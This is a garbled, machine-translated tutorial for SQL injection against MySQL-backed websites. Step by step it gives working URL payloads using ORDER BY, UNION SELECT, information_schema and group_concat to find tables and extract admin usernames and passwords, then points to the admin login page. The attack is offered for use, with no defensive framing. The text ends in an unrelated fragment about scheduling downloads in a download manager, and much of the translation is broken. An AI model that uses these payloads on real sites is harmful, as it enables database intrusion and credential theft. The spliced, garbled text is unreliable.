SQL injection is a hacking action is performed in the client application by modifying the command
Existing SQL clien application memory and also the exploit technique in which a web application using the database for data storage.
Who needs to know before sqlinjection on mysql:
character: 'or
-
comments: / * or
-
information_schema for version: MySQL version 5.x, no support for mysql version 4.x
Step 1
look for the target
eg:
[site] / berita.php? id = 100
Add character 'at the end of the url or add characters "-" to see if there are any error messages.
example:
[site] / berita.php? id = 100 '
or
[site] / berita.php? id = -100
so an error message like the following (among many others):
Step 2
locate and count the number of tables that exist in the database ...
use the command:
order by
example:
[site] / berita.php? id = -100 + order + by +1- -
or
[site] / berita.php? id = -100 + order + by +1 / *
Please check it step by step (satupersatu) ...
eg:
[site] / berita.php? id = -100 + order + by +1- -
[site] / news
. php? id = -100 + order + by +2- -
[site] / berita.php? id = -100 + order + by +3- -
[site] / berita.php? id = -100 + order + by +4- -
so there is an error or missing error message ...
eg:
[site] / berita.php? id = -100 + order + by +9- -
means that we take is to become the number 8
[site] / berita.php? id = -100 + order + by +8- -
Step 3
to issue any number that appears use the union
because it was error to figure 9
then:
[site] / berita.php? id = -100 + union + select +1,2,3,4,5,6,7,8 -
ok is like that out number 5
use the version () or @ @ version to check which version of sql command input diapakai TSB that came out earlier in nagka
eg:
[site] / berita.php? id = -100 + union + select +1,2,3,4, version (), 6,7,8 -
or
[site] / berita.php? id = -100 + union + select +1,2,3,4, @ @ version,6,7,8 -
see the version is like version 4 left alone because in ver 4 we had to guess his own table column n imaginable on the web because they can not use command + information_schema From ..
for version 5 means you do not have to guess the lucky table n column as ver ver 5 4 because it can use the command From + information_schema ..
Step 4
to display the existing table in the web page that is included on the command table_name >>> figure out who had the command + from + information_schema.tables / * >>> inserted after the last digit
code:
[site] / berita.php? id = -100 + union + select +1,2,3,4, table_name, 6,7,8 + from + inf ormation_schema.tables--
is like a table that appears is "admin"
Step 5
to display all the contents
TSB is a command from the table group_concat (table_name) >>> included in the figures that came out earlier orders + from + information_schema.tables + where + table_schema = database () >>> DIMA
Sports after figures last
[site] / berita.php? id = -100 + union + select +1,2,3,4, group_concat (table_name),
6,7,8 + from + information_schema.tables + where + table_s chema = database () -
Step 6
command group_concat (column_name) >>> included in the figures that came out earlier
+ command + from + where + table_name information_schema.columns = 0xhexa -
dim >>>
axle
ukan after the last digit
[site] / berita.php? id = -
100 + union + select +1,2,3,4, group_concat (column_name), 6,7,8 + from + where + + information_schema.columns table _name = 0xhexa -
at this stage you shall mengextrak word on the contents of that table into hexadecimal
by means of converting them
website which is used for conversion:
http://www.v3n0m.net/ascii.htm
examples of words that are wanted in the admin then the conversion will be 61646D696E
[site] / berita.php? id =-100 + union + select +1,2,3,4, group_concat (column_name), 6,7,8 + from + where + + information_schema.columns table _name = 0x61646D696E -
Step 7
bring up what had been removed from the table by way of:
concat_ws command (0x3a, which would result column contents
issued) >>> included in the figures that came out earlier
command + from + (name derived table) >>> inserted after the last digit
example:
[site] / berita.php? id = -100 + union + select +1,2,3,4, concat_ws (0x3a, the results of the content column), 6,7,8 + from + (name derived table) -
example is the word that comes out id, username, password
example:
[site] / berita.php? id = -100 + union + select +1,2,3,4, concat_ws (0x3a, id, George E, password), 6,7,8 + from + admin -
Step 8
the last stage look for pages in the admin or login.
so many of my tutorials, may be useful
2. then select the queue where you will use, and then click OK. do steps 1 and 2 on another video will be downloaded in the queue. see photos, 
3. idm not you, then click on schedule
4. set how many files will be downloaded in one time. if two replace the number 1 become 2 if it is click start .See image
5. because I set 1 then downloaded 1 file, then if the first file has finished downloading, it will automatically download idm files beneath it. 
